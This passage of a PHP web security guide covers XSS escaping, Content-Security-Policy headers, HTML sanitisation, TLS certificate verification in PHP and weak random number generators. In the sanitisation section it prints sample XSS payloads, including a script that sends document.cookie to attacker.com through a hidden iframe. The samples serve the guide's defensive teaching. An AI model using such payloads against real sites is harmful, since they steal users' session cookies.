Let's examine the escaping rules applicable to the most common Contexts: HTML Body, HTML Attribute, Javascript, URL and CSS.

#### Never Inject Data Except In Allowed Locations

Before presenting escaping strategies, it's essential to ensure that your web application's templates do not misplace data. This rule refers to injecting data in sensitive areas of HTML which offer an attacker the opportunity to influence markup parsing and which do not ordinarily require escaping when used by a programmer. Consider the following examples where [...] is a data injection:

```
<script>...</script>

<!--...-->

<div ...="test"/>
```

```
<... href="http://www.example.com"/>

<style>...</style>
```

Each of the above locations are dangerous. Allowing data within script tags, outside of literal strings and numbers, would let an attack inject Javascript code. Data injected into HTML comments might be used to trigger Internet Explorer conditionals and other unanticipated results. The next two are more obvious as we would never want an attacker to be able to influence tag or attribute names - that's what we're trying to prevent! Finally, as with scripts, we can't allow attackers to inject directly into CSS as they may be able to perform UI Redress attacks and Javascript scripting using the Internet Explorer supported expression() function.

### Always HTML Escape Before Injecting Data Into The HTML Body Context

The HTML Body Context refers to textual content which is enclosed in tags, for example text included between <body>, , or any other pairing of tags used to contain text. Data injected into this content must be HTML escaped.

HTML Escaping is well known in PHP since it's implemented by the htmlspecialchars() function.

### Always HTML Attribute Escape Before Injecting Data Into The HTML Attribute Context

The HTML Attribute Context refers to all values assigned to element attrbutes with the exception of attributes which are interpreted by the browser as CDATA. This exception is a little tricky but largely refers to non-XML HTML standards where Javascript can be included in event attributes unescaped. For all other attributes, however, you have the following two choices:

1. If the attribute value is quoted, you MAY use HTML Escaping; but
2. If the attribute is unquoted, you MUST use HTML Attribute Escaping.

The second option also applies where attribute quoting style may be in doubt. For example, it is perfectly valid in HTML5 to use unquoted attribute values and examples in the wild do exist. Ere on the side of caution where there is any doubt.

### Always Javascript Escape Before Injecting Data Into Javascript Data Values

Javascript data values are basically strings. Since you can't escape numbers, there is a sub-rule you can apply:

Always Validate Numbers...

### 4.5.3 Content-Security Policy

The root element in all our discussions about Cross-Site Scripting has been that the browser unquestionably executes all the Javascript it receives from the server whether it be inline or externally sourced. On receipt of a HTML document, the browser has no means of knowing which of the resources it contains are innocent and which are malicious. What if we could change that?

The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource sources that the browser can trust. Any source not included in the whitelist can now be ignored by the browser since it's untrusted. Consider the following:

```
X-Content-Security-Policy: script-src 'self'
```

This CSP header tells the browser to only trust Javascript source URLs pointing to the current domain. The browser will now grab scripts from this source but completely ignore all others. This means that http://attacker.com/naughty.js is not downloaded if injected by an attacker. It also means that all inline scripts, i.e. <script> tags, javascript: URIs or event attribute content are all ignored too since they are not in the whitelist.

If we need to use Javascript from another source besides 'self', we can extend the whitelist to include it. For example, let's include jQuery's CDN address.

```
X-Content-Security-Policy: script-src 'self' http://code.jquery.com
```

You can add other resource directives, e.g. style-src for CSS, by dividing each resource directive and its whitelisting with a semi-colon.

```
X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'sel
```

The format of the header value is very simple. The value is constructed with a resource directive "script-src" followed by a space delimited list of sources to apply as a whitelist. The source can be a quoted keyword such as 'self' or a URL. The URL value is matched based on the information given. Information omitted in a URL can be freely altered in the HTML document. Therefore http://code.jquery.com prevents loading scripts from http://jquery.com or http://domainx.jquery.com because we were specific as to which subdomain to accept. If we wanted to allow all subdomains we could have specified just http://jquery.com. The same thinking applies to paths, ports, URL scheme, etc.

The nature of the CSP's whitelisting is simple. If you create a whitelist of a particular type of resource, anything not on that whitelist is ignored. If you do not define a whitelist for a resource type, then the browser's default behaviour kicks for that resource type.

Here's a list of the resource directives supported:

connect-src: Limits the sources to which you can connect using XMLHttpRequest, WebSockets, etc. font-src: Limits the sources for web fonts. frame-src: Limits the source URLs that can be embedded on a page as frames. img-src: Limits the sources for images. media-src: Limits the sources for video and audio. object-src: Limits the sources for Flash and other plugins. script-src: Limits the sources for script files. style-src: Limits the sources for CSS files.

For maintaining secure defaults, there is also the special "default-src" directive that can be used to create a default whitelist for all of the above. For example:

```
X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery
```

The above will limit the source for all resources to the current domain but add an exception for script-src to allow the jQuery CDN. This instantly shuts down all avenues for untrusted injected resources and allows is to carefully open up the gates to only those sources we want the browser to trust.

Besides URLs, the allowed sources can use the following keywords which must be encased with single quotes:

'none' 'self' 'unsafe-inline' 'unsafe-eval'

You'll notice the usage of the term "unsafe". The best way of applying the CSP is to not duplicate an attacker's practices. Attackers want to inject inline Javascript and other resources. If we avoid such inline practices, our web applications can tell browsers to ignore all such inlined resources without exception. We can do this using external script files and Javascript's addEventListener() function instead of event attributes. Of course, what's a rule without a few useful exceptions, right? Seriously, eliminate any exceptions. Setting 'unsafe-inline' as a whitelisting source just goes against the whole point of using a CSP.

The 'none' keyword means just that. If set as a resource source it just tells the browser to ignore all resources of that type. Your mileage may vary but I'd suggest doing something like this so your CSP whitelist is always restricted to what it allows:

```
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery
```

Just one final quirk to be aware of. Since the CSP is an emerging solution not yet out of draft, you'll need to dumplicate the X-Content-Security-Policy header to ensure it's also picked up by WebKit browsers like Safari and Chrome. I know, I know, that's WebKit for you.

```
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-s
```

### 4.5.4 Browser Detection

### 4.5.5 HTML Sanitisation

At some point, a web application will encounter a need to include externally determined HTML markup directly into a web page without escaping it. Obvious examples can include forum posts, blog comments, editing forms, and entries from an RSS or Atom feed. If we were to escape the resulting HTML markup from those sources, they would never render correctly so we instead need to carefully filter it to make sure that any and all dangerous markup is neutralised.

You'll note that I used the phrase "externally determined" as opposed to externally generated. In place of accepting HTML markup, many web applications will allow users to instead use an

alternative such as BBCode, Markdown, or Textile. A common fallacy in PHP is that these markup languages have a security function in preventing XSS. That is complete nonsense. The purpose of these languages is to allow users write formatted text more easily without dealing with HTML. Not all users are programmers and HTML is not exactly consistent or easy given its SGML roots. Writing long selections of formatted text in HTML is painful.

The act of generating HTML from such inputs (unless we received HTML to start with!) occurs on the server. That implies a trustworthy operation which is a common mistake to make. The HTML that results from such generators was still "determined" by an untrusted input. We can't assume it's safe. This is simply more obvious with a blog feed since its entries are already valid HTML.

Let's take the following BBCode snippet:

> [url=javascript:alert('I can haz Cookie?n'+document.cookie)]Free Bitcoins Here![/url]

BBCode does limit the allowed HTML by design but it doesn't mandate, for example, using HTTP URLs and most generators won't notice this creeping through.

As another example, take the following selection of Markdown:

> I am a Markdown paragraph.<script>document.write('<iframe src="http://attacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>
>
> There's no need to panic. I swear I am just plain text!

Markdown is a popular alternative to writing HTML but it also allows authors to mix HTML into Markdown. It's a perfectly valid Markdown feature and a Markdown renderer won't care whether there is an XSS payload included.

After driving home this point, the course of action needed is to HTML sanitise whatever we are going to include unescaped in web application output after all generation and other operations have been completed. No exceptions. It's untrusted input until we've sanitised it outselves.

HTML Sanitisation is a laborious process of parsing the input HTML and applying a whitelist of allowed elements, attributes and other values. It's not for the faint of heart, extremely easy to get wrong, and PHP suffers from a long line of insecure libraries which claim to do it properly. Do use a well established and reputable solution instead of writing one yourself.

The only library in PHP known to offer safe HTML Sanitisation is HTMLPurifier. It's actively maintained, heavily peer reviewed and I strongly recommend it. Using HTMLPurifier is relatively simple once you have some idea of the HTML markup to allow:

```
// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
```

```
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);
```

Do not use another HTML Sanitiser library unless you are absolutely certain about what you're doing.

### 4.5.6 External Application Defenses

TBD

CHAPTER 5

# Insufficient Transport Layer Security (HTTPS, TLS and SSL)

Communication between parties over the internet is fraught with risk. When you are sending payment instructions to a store using their online facility, the very last thing you ever want to occur is for an attacker to be capable of intercepting, reading, manipulating or replaying the HTTP request to the online application. You can imagine the consequences of an attacker being able to read your session cookie, or to manipulate the payee, product or billing address, or to simply to inject new HTML or Javascript into the markup sent in response to a user request to the store.

Protecting sensitive or private data is serious business. Application and browser users have an extremely high expectation in this regard placing a high value on the integrity of their credit card transactions, their privacy and their identity information. The answer to these concerns when it comes to defending the transfer of data from between any two parties is to use Transport Layer Security, typically involving HTTPS, TLS and SSL.

The broad goals of these security measures is as follows:

- To encrypt data being exchanged
- To guarantee the identity of one or both parties
- To prevent data tampering
- To prevent replay attacks

The most important point to notice in the above is that all four goals must be met in order for Transport Layer Security to be successful. If any one of the above are compromised, we have a real problem.

A common misconception, for example, is that encryption is the core goal and the others are non-essential. This is, in fact, completely untrue. Encryption of the data being transmitted requires that the other party be capable of decrypting the data. This is possible because the client and the server will agree on an encryption key (among other details) during the negotiation phase when the client

attempts a secure connection. However, an attacker may be able to place themselves between the client and the server using a number of simple methods to trick a client machine into believing they are the server being contacted, i.e. a Man-In-The-Middle (MitM) Attack. This encryption key will be negotiated with the MitM and not the target server. This would allow the attacker to decrypt all the data sent by the client. Obviously, we therefore need the second goal - the ability to verify the identity of the server that the client is communicating with. Without that verification check, we have no way of telling the difference between a genuine target server and an MitM attacker.

So, all four of the above security goals MUST be met before a secure communication can take place. They each work to perfectly complement the other three goals and it is the presence of all four that provides reliable and robust Transport Layer Security.

Aside from the technical aspects of how Transport Layer Security works, the other facet of securely exchanging data lies in how well we apply that security. For example, if we allow a user to submit an application's login form data over HTTP we must then accept that an MitM is completely capable of intercepting that data and recording the user's login data for future use.

In judging the security quality of any implementation, we therefore have some very obvious measures drawn from the four goals I earlier mentioned:

- Encryption: Does the implementation use a strong security standard and cipher suite?
- Identity: Does the implementation verify the server's identity correctly and completely?
- Data Tampering: Does the implementation fully protect user data for the duration of the user's session?
- Replay Attacks: Does the implementation contain a method of preventing an attacker from recording requests and repetitively send them to the server to repeat a known action or effect?

These questions are your core knowledge for this entire chapter. I will go into far more detail over the course of the chapter, but everything boils down to asking those questions and identifying the vulnerabilities where they fail to hold true.

A second core understanding is what user data must be secured. Credit card details, personally identifiable information and passwords are obviously in need to securing. However, what about the user's session ID? If we protect passwords but fail to protect the session ID, an attacker is still fully capable of stealing the session cookie while in transit and performing a Session Hijacking attack to impersonate the user on their own PC. Protecting login forms alone is NEVER sufficient to protect a user's account or personal information. The best security is obtained by restricting the user session to HTTPS from the time they submit a login form to the time they end their session.

You should now understanding why this chapter uses the phrase "insufficient". The problem in implementing SSL/TLS lies not in failing to use it, but failing to use it to a sufficient degree that user security is maximised.

This chapter covers the issue of Insufficient Transport Layer Security from three angles.

- Between a server-side application and a third-party server.
- Between a client and the server-side application.

- Between a client and the server-side application using custom defenses.

The first addresses the task of ensuring that our web applications securely connect to other parties. Transport Layer Security is commonly used for web service APIs and many other sources of input required by the application.

The second addresses the interactions of a user with our web applications using a browser or some other client application. In this instance, we are the ones exposing a secured URL and we need to ensure that that security is implemented correctly and is not at risk from being bypassed.

The third is a curious oddity. Since SSL/TLS has a reputation for not being correctly implemented by programmers, there have been numerous approaches developed to secure a connection without the use of the established SSL/TLS standards. An example is OAuth's reliance on signed requests which do not require SSL/TLS but offer some of the defences of those standards (notably, encryption of the request data is omitted so it's not perfect but a better option than a misconfigured SSL/TLS library).

Before we get down to those specific categories, let's first take a look at Transport Layer Security in general as there is some important basic knowledge to be aware of before we get down into nuts and bolts with PHP.

## 5.1 Definitions & Basic Vulnerabilities

Transport Layer Security is a generic title for securing the connection between two parties using encryption, identity verification and so on. Most readers will be familiar with the three common abbreviations used in this topic: HTTPS, SSL, TLS. Let's briefly define each so everyone understands how they are related.

## 5.2 SSL/TLS From PHP (Server to Server)

As much as I love PHP as a programming language, the briefest survey of popular open source libraries makes it very clear that Transport Layer Security related vulnerabilities are extremely common and, by extension, are tolerated by the PHP community for absolutely no good reason other than it's easier to subject users to privacy-invading security violations than fix the underlying problem. This is backed up by PHP itself suffering from a very poor implementation of SSL/TLS in PHP Streams which are used by everything from socket based HTTP clients to the `file_get_contents()` and other filesystem functions. This shortcoming is then exacerbated by the fact that the PHP library makes no effort to discuss the security implications of SSL/TLS failures.

If you take nothing else from this section, my advice is to make sure that all HTTPS requests are performed using the CURL extension for PHP. This extension is configured to be secure by default and is backed up, in terms of expert peer review, by its large user base outside of PHP. Take this one simple step towards greater security and you will not regret it. A more ideal solution would be

for PHP's internal developers to wake up and apply the Secure By Default principle to its built-in SSL/TLS support.

My introduction to SSL/TLS in PHP is obviously very harsh. Transport Layer Security vulnerabilities are far more basic than most security issues and we are all familiar with the emphasis it receives in browsers. Our server-side applications are no less important in the chain of securing user data.Let's examine SSL/TLS in PHP in more detail by looking in turn at PHP Streams and the superior CURL extension.

### 5.2.1 PHP Streams

For those who are not familiar with PHP's Streams feature, it was introduced to generalise file, network and other operations which shared common functionality and uses. In order to tell a stream how to handle a specific protocol, there are "wrappers" allowing a Stream to represent a file, a HTTP request, a PHAR archive, a Data URI (RFC 2397) and so on. Opening a stream is simply a matter of calling a supporting file function with a relevant URL which indicates the wrapper and target resource to use.

```
file_get_contents('file:///tmp/file.ext');
```

Streams default to using a File Wrapper, so you don't ordinarily need to use a file:// URL and can even use relative paths. This should be obvious since most filesystem functions such as `file()`, `include()`, `require_once` and `file_get_contents()` all accept stream references. So we can rewrite the above example as:

```
file_get_contents('/tmp/file.ext');
```

Besides files, and of relevance to our current topic of discussion, we can also do the following:

```
file_get_contents('http://www.example.com');
```

Since filesystem functions such as `file_get_contents()` support HTTP wrapped streams, they bake into PHP a very simple to access HTTP client if you don't feel the need to expand into using a dedicated HTTP client library like Buzz or Zend Framework's `\Zend\Http\Client` classes. In order for this to work, you'll need to enable the `php.ini` file's `allow_url_fopen` configuration option. This option is enabled by default.

Of course, the `allow_url_fopen` setting also carries a separate risk of enabling Remote File Execution, Access Control Bypass or Information Disclosure attacks. If an attacker can inject a remote URI of their choosing into a file function they could manipulate an application into executing, storing or displaying the fetched file including from any untrusted remote source. It's also worth bearing in mind that such file fetches would originate from localhost and thus be capable of bypassing access controls based on local server restrictions. As such, while `allow_url_fopen` is enabled by default, you should disable it without hesitation.

Back to using PHP Streams as a simple HTTP client (which you now know is NOT recommended), things get interesting when you try the following:

```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$result = file_get_contents($url);
```

The above is a simple unauthenticated request to the Twitter API over HTTPS. It also has a serious flaw. PHP uses an `SSL Context` for requests made using the HTTPS (https://) and FTPS (ftps://) wrappers. The `SSL Context` offers a lot of settings for SSL/TLS and their default values are wholly insecure. The above example can be rewritten as follows to show how a default set of `SSL Context` options can be plugged into `file_get_contents()` as a parameter:

```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$contextOptions = array(
    'ssl' => array()
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
```

As described earlier in this chapter, failing to securely configure SSL/TLS leaves the application open to a Man-In-The-Middle (MitM) attacks. PHP Streams are entirely insecure over SSL/TLS by default. So, let's correct the above example to make it completely secure!

```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$contextOptions = array(
    'ssl' => array(
        'verify_peer'   => TRUE,
        'cafile'        => __DIR__ . '/cacert.pem',
        'verify_depth'  => 5,
        'CN_match'      => 'api.twitter.com'
    )
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
```

Now we have a secure example! If you contrast this with the earlier example, you'll note that we had to set four options which were, by default, unset or disabled by PHP. Let's examine each in turn to demystify their purpose.

- verify_peer

Peer Verification is the act of verifying that the SSL Certificate presented by the Host we sent the HTTPS request to is valid. In order to be valid, the public certificate from the server must be signed by the private key of a trusted Certificate Authority (CA). This can be verified using the CA's public key which will be included in the file set as the `cafile` option to the SSL Context we're using. The certificate must also not have expired.

- cafile

The `cafile` setting must point to a valid file containing the public keys of trusted CAs. This is not provided automatically by PHP so you need to have the keys in a concatenated certificate formatted file (usually a PEM or CRT file). If you're having any difficulty locating a copy, you

can download a copy which is parsed from Mozilla's VCS from http://curl.haxx.se/ca/cacert.pem . Without this file, it is impossible to perform Peer Verification and the request will fail.

- verify_depth

This setting sets the maximum allowed number of intermediate certificate issuers, i.e. the number of CA certificates which are allowed to be followed while verifying the initial client certificate.

- CN_match

The previous three options focused on verifying the certificate presented by the server. They do not, however, tell us if the verified certificate is valid for the domain name or IP address we are requesting, i.e. the host part of the URL. To ensure that the certificate is tied to the current domain/IP, we need to perform Host Verification. In PHP, this requires setting `CN_match` in the SSL Context to the HTTP host value (including subdomain part if present!). PHP performs the matching internally so long as this option is set. Not performing this check would allow an MitM to present a valid certificate (which they can easily apply for on a domain under their control) and reuse it during an attack to ensure they are presenting a certificate signed by a trusted CA. However, such a certificate would only be valid for their domain - and not the one you are seeking to connect to. Setting the `CN_match` option will detect such certificate mismatches and cause the HTTPS request to fail.

While such a valid certificate used by an attacker would contain identity information specific to the attacker (a precondition of getting one!), please bear in mind that there are undoubtedly any number of valid CA-signed certificates, complete with matching private keys, available to a knowledgeable attacker. These may have been stolen from another company or slipped passed a trusted CA's radar as happened in 2011 when DigiNotor notoriously (sorry, couldn't resist) issued a certificate for `google.com` to an unknown party who went on to employ it in MitM attacks predominantly against Iranian users.

### Limitations

As described above, verifying that the certificate presented by a server is valid for the host in the URL that you're using ensures that a MitM cannot simply present any valid certificate they can purchase or illegally obtain. This is an essential step, one of four, to ensuring your connection is absolutely secure.

The `CN_match` parameter exposed by the `SSL Context` in PHP's HTTPS wrapper tells PHP to perform this matching exercise but it has a downside. At the time of writing, the matching used will only check the Common Name (CN) of the SSL certificate but ignore the equally valid Subject Alternative Names (SANs) field if defined by the certificate. An SAN lets you protect multiple domain names with a single SSL certificate so it's extremely useful and supported by all modern browsers. Since PHP does not currently support SAN matching, connections over SSL/TLS to a domain secured using such a certificate will fail.

The CURL extension, on the other hand, supports SANs out of the box so it is far more reliable and should be used in preference to PHP's built in HTTPS/FTPS wrappers. Using PHP Streams with

this issue introduces a greater risk of erroneous behaviour which in turn would tempt impatient programmers to disable host verification altogether which is the very last thing we want to see.

#### SSL Context in PHP Sockets

Many HTTP clients in PHP will offer both a CURL adapter and a default PHP Socket based adapter. The default choice for using sockets reflects the fact that CURL is an optional extension and may be disabled on any given server in the wild.

PHP Sockets use the same `SSL Context` resource as PHP Streams so it inherits all of the problems and limitations described earlier. This has the side-effect that many major HTTP clients are themselves, by default, likely to be unreliable and less safe than they should be. Such client libraries should, where possible, be configured to use their CURL adapter if available. You should also review such clients to ensure they are not disabling (or forgetting to enable) the correct approach to secure SSL/TLS.

#### Additional Risks?

### 5.2.2 CURL Extension

Unlike PHP Streams, the CURL extension is all about performing data transfers including its most commonly known capability for HTTP requests. Also unlike PHP Streams' SSL context, CURL is configured by default to make requests securely over SSL/TLS. You don't need to do anything special unless it was compiled without the location of a Certificate Authority cert bundle (e.g. a cacert.pem or ca-bundle.crt file containing the certs for trusted CAs).

Since it requires no special treatment, you can perform a similar Twitter API call to what we used earlier for SSL/TLS over a PHP Stream with a minimum of fuss and without worrying about missing options that will make it vulnerable to MitM attacks.

```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$req = curl_init($url);
curl_setopt($req, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($req);
```

This is why my recommendation to you is to prefer CURL for HTTPS requests. It's secure by default whereas PHP Streams is most definitely not. If you feel comfortable setting up SSL context options, then feel free to use PHP Streams. Otherwise, just use CURL and avoid the headache. At the end of the day, CURL is safer, requires less code, and is less likely to suffer a human-error related failure in its SSL/TLS security.

Of course, if the CURL extension was enabled without the location of trusted certificate bundle being configured, the above example would still fail. For libraries intending to be publicly distributed, the programmer will need to follow a sane pattern which enforces secure behaviour:

```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$req = curl_init($url);
curl_setopt($req, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($req);

/**
 * Check if an error is an SSL failure and retry with bundled CA certs on
 * the assumption that local server has none configured for ext/curl.
 * Error 77 refers to CURLE_SSL_CACERT_BADFILE which is not defined as
 * as a constant in PHP's manual for some reason.
 */
$error = curl_errno($req);
if ($error == CURLE_SSL_PEER_CERTIFICATE || $error == CURLE_SSL_CACERT
|| $error == 77) {
    curl_setopt($req, CURLOPT_CAINFO, __DIR__ . '/cert-bundle.crt');
    $result = curl_exec($req);
}

/**
 * Any subsequent errors cannot be recovered from while remaining
 * secure. So do NOT be tempted to disable SSL and try again ;).
 */
```

The tricky part is obviously distributing the `cert-bundle.crt` or `cafile.pem` certificate bundle file (filename varies with source!). Given that any Certificate Authority's certificate could be revoked at any time by most browsers should they suffer a breach in their security or peer review processes, it's not really a great idea to allow a certificate file to remain stale for any lengthy period. Nonetheless, the most obvious solution is to distribute a copy of this file with the library or application requiring it.

If you cannot assure tight control over updating a distribute certificate bundle, or you just need a tool that can periodically run this check for you, you should consider using the PHP Sslurp tool: https://github.com/EvanDotPro/Sslurp.

## 5.3 SSL/TLS From Client (Client/Browser to Server)

So far, most of what we've discussed has been related to SSL/TLS connections established from a PHP web application to another server. Of course, there are also quite a few security concerns when our web application is the party exposing SSL/TLS support to client browsers and other applications. At this end of the process we run the risk of suffering security attacks arising from Insufficient Transport Layer Protection vulnerabilities.

This is actually quite basic if you think about it. Let's say I create an online application which a secure login to protect the user's password. The login form is served over HTTPS and the form is submitted over HTTPS. Mission accomplished. The user is then redirected to a HTTP URL to

start using their account. Spot the problem?

When a Man-In-The-Middle (MitM) Attack is a concern, we should not simply protect the login form for users and then call it quits. Over HTTP, the user's session cookie and all other data that they submit, and all other HTML markup that they receive, will not be secure. An MitM could steal the session cookie and impersonate the user, inject XSS into the received web pages to perform tasks as the user or manipulate their actions, and the MitM need never know the password to accomplish all of this.

Merely securing authentication with HTTPS will prevent direct password theft but does not prevent session hijacking, other forms of data theft and Cross-Site Scripting (XSS) attack injection. By limiting the protection offered by HTTPS to the user, we are performing insufficient transport layer protection. Our application's users are STILL vulnerable to MitM attacks.

CHAPTER 6

# Insufficient Entropy For Random Values

Random values are everywhere in PHP. They are used in all frameworks, many libraries and you probably have tons of code relying on them for generating tokens, salts, and as inputs into further functions. Random values are important for a wide variety of use cases.

1. To randomly select options from a pool or range of known options.
2. To generate initialisation vectors for encryption.
3. To generate unguessable tokens or nonces for authorisation purposes.
4. To generate unique identifiers like Session IDs.

All of these have a specific weakness. If any attacker can guess or predict the output from the Random Number Generator (RNG) or Pseudo-Random Number Generator (PRNG) you use, they will be able to correctly guess the tokens, salts, nonces and cryptographic initialisation vectors created using that generator. Generating high quality, i.e. extremely difficult to guess, random values is important. Allowing password reset tokens, CSRF tokens, API keys, nonces and authorisation tokens to be predictable is not the best of ideas!

The two potential vulnerabilities linked to random values in PHP are:

1. Information Disclosure
2. Insufficient Entropy

Information Disclosure, in this context, refers to the leaking of the internal state, or seed value, of a PRNG. Leaks of this kind can make predicting future output from the PRNG in use much easier. Insufficient Entropy refers to the initial internal state or seed of a PRNG being so limited that it or the PRNG's actual output is restricted to a more easily brute forcible range of possible values. Neither is good news for PHP programmers.

We'll examine both in greater detail with a practical attack scenario outlined soon but let's first look at what a random value actually means when programming in PHP.

## 6.1 What Makes A Random Value?

Confusion over the purpose of random values is further muddled by a common misconception. You have undoubtedly heard of the difference between cryptographically strong random values versus nebulous "all other uses" or "unique" values. The prevailing impression is that only those random values used in cryptography require high quality randomness (or, more correctly, high entropy) but all other uses can squeek by with something less. I'd argue that the above impression is false and even counterproductive. The true division is between random values that must never be predictable and those which are used for wholly trivial purposes where predicting them can have no harmful effect. This removes cryptography from the question altogether. In other words, if you are using a random value for a non-trivial purpose, you should automatically gravitate towards using much stronger RNGs.

The factor that makes a random value strong is the entropy used to generate it. Entropy is simply a measure of uncertainty in "bits". For example, if I take any binary bit, it can have a value of either 0 or 1. If an attacker has no idea which it is, we have an entropy of 2 bits (i.e. it's a coin toss with 2 possible outcomes). If an attacker knows it will always be 1, we have an entropy of 0 bits because predictability is the opposite of uncertainty. You can also have bit values between 0 and 2 if it's not a fair coin toss. For example, if the binary bit is 1 99% of the time, the entropy can only be a fraction above 0 bits. So, in general, the more uncertain binary bits we use, the better.

We can see this more clearly close to home in PHP. The mt_rand() function generates random values which are always digits. It doesn't output letters, special characters, or any other byte value. This means that an attacker needs far fewer guesses per byte, i.e. its entropy is low. If we substituted mt_rand() by reading bytes from the Linux /dev/random source, we'd get truly random bytes fed by environmental noise from the local system's device drivers and other sources. This second option is obviously much better and would provide substantially more bits of entropy.

The other black mark against something like mt_rand() is that it is not a true random generator. It is a Pseudorandom Number Generator (PRNG) or Deterministic Random Bit Generator (DRBG). It implements an algorithm called Mersenne Twister (MT) which generates numbers distributed in such a way as to approximate truly random numbers. It actually only uses one random value, known as the seed, which is then used by a fixed algorithm to generate other pseudorandom values.

Have a look at the following example which you can test locally.

```
mt_srand(1361152757.2);

for ($i=1; $i < 25; $i++) {
    echo mt_rand(), PHP_EOL;
}
```

The above script is a simple loop executed after we've seeded PHP's Marsenne-Twister function with a predetermined value (using the output from the example function in the docs for mt_srand() which used the current seconds and microseconds). If you execute this script, it will print out 25 pseudorandom numbers. They all look random, there are no collisions and all seems fine. Run the script again. Notice anything? Yes, the next run will print out the EXACT SAME numbers.

So will the third, fourth and fifth run. This is not always a guaranteed outcome given variations between PHP versions in the past but this is irrelevant to the problem since it does hold true in all modern PHP versions.

If the attacker can obtain the seed value used in PHP's Mersenne Twister PRNG, they can predict all of the output from mt_rand(). When it comes to PRNGs, protecting the seed is paramount. If you lose it, you are no longer generating random values... This seed can be generated in one of two ways. You can use the mt_srand() function to manually set it or you can omit mt_srand() and let PHP generate it automatically. The second is much preferred but legacy applications, even today, often inherit the use of mt_srand() even if ported to higher PHP versions.

This raises a risk whereby the recovery of a seed value by an attacker (i.e. a successful Seed Recovery Attack) provides them with sufficient information to predict future values. As a result, any application which leaks such a seed to potential attackers has fallen afoul of an Information Disclosure vulnerability. This is actually a real vulnerability despite its apparently passive nature. Leaking information about the local system can assist an attacker in follow up attacks which would be a violation of the Defense In Depth principle.

## 6.2 Random Values In PHP

PHP uses three PRNGs throughout the language and both produce predictable output if an attacker can get hold of the random value used as the seed in their algorithms.

1. Linear Congruential Generator (LCG), e.g. lcg_value()
2. The Marsenne-Twister algorithm, e.g. mt_rand()
3. Locally supported C function, i.e. rand()

The above are also reused internally for functions like array_rand() and uniqid(). You should read that as meaning that an attacker can predict the output of these and similar functions leveraging PHP's internal PRNGs if they can recover all of the necessary seed values. It also means that multiple calls to PRNGs do not convey additional protection beyond obscuration (and nothing at all in open source applications where the source code is public knowledge). An attacker can predict ALL outcomes for any known seed value.

In order to generate higher quality random values for use in non-trivial tasks, PHP requires external sources of entropy supplied via the operating system. The common option under Linux is /dev/urandom which can be read directly or accessed indirectly using the openssl_pseudo_random_bytes() or mcrypt_create_iv() functions. These two functions can also use a Windows cryptographically secure pseudorandom generator (CSPRNG) but PHP currently has no direct userland accessor to this without the extensions providing these functions. In other words, make sure your servers' PHP version has the OpenSSL or Mcrypt extensions enabled.

The /dev/urandom source is itself a PRNG but it is frequently reseeded from the high entropy /dev/random resource which makes it impractical for an attacker to target. We try to avoid directly reading from /dev/random because it is a blocking resource, if it runs out of entropy all reads will

be blocked until sufficient entropy has been captured from the system environment. You should revert to /dev/random, obviously, for the most critical of needs when necessary.

All of this leads us to the following rule...

```
All processes which require non-trivial random numbers MUST attempt to use
openssl_pseudo_random_bytes(). You MAY fallback to mcrypt_create_iv() with
the source set to MCRYPT_DEV_URANDOM. You MAY also attempt to directly read
bytes from /dev/urandom. If all else fails, and you have no other choice,
you MUST instead generate a value by strongly mixing multiple sources of
available random or secret values.
```

You can find a reference implementation of this rule in the SecurityMultiTool reference library. As is typical PHP Internals prefers to complicate programmer's lives rather than include something secure directly in PHP's core.

Enough theory, let's actually look into how we can attack an application with this information.

## 6.3 Attacking PHP's Random Number Generators

In practice, PHP's PRNGs are commonly used in non-trivial tasks for various reasons.

The openssl_pseudo_random_bytes() function was only available in PHP 5.3 and had blocking problems in Windows until 5.3.4. PHP 5.3 also marked the time from which the MCRYPT_DEV_URANDOM source was supported for Windows in the mcrypt_create_iv() function. Prior to this, Windows only supported MCRYPT_RAND which is effectively the same system PRNG used internally by the rand() function. As you can see, there were a lot of coverage gaps prior to PHP 5.3 so a lot of legacy applications written to earlier PHP versions may not have switched to using stronger PRNGs.

The Openssl and Mcrypt extensions are also optional. Since you can't always rely on their availability even on servers with PHP 5.3 installed, applications will often use PHP's PRNGs as a fallback method for generating non-trivial random values.

In both of these scenarios, we have non-trivial tasks relying on random values generated using PRNGs seeded with low entropy values. This leaves them vulnerable to Seed Recovery Attacks. Let's take a simple example and actually demonstrate a realistic attack.

Imagine that we have located an application online which uses the following source code to generate tokens throughout the application for a variety of purposes.

```
$token = hash('sha512', mt_rand());
```

There are certainly more complicated means of generating a token but this is a nice variant with only one call to mt_rand() that is hashed using SHA512. In practice, if a programmer assumes that PHP's random value functions are "sufficiently random", they are far more likely to utilise a simple usage pattern so long as it doesn't involve the "cryptography" word. Non-cryptographic uses may include access tokens, CSRF tokens, API nonces and password reset tokens to name a

few. Let me describe the characteristics of this vulnerable application in greater detail before we continue any further so we have some insight into the factors making this application vulnerable.

### 6.3.1 Vulnerable Application Characteristics

This isn't an exhaustive list - vulnerable characteristics can vary from this recipe!

#### 1. The server uses mod_php allowing multiple requests to be served by the same PHP process when using KeepAlive

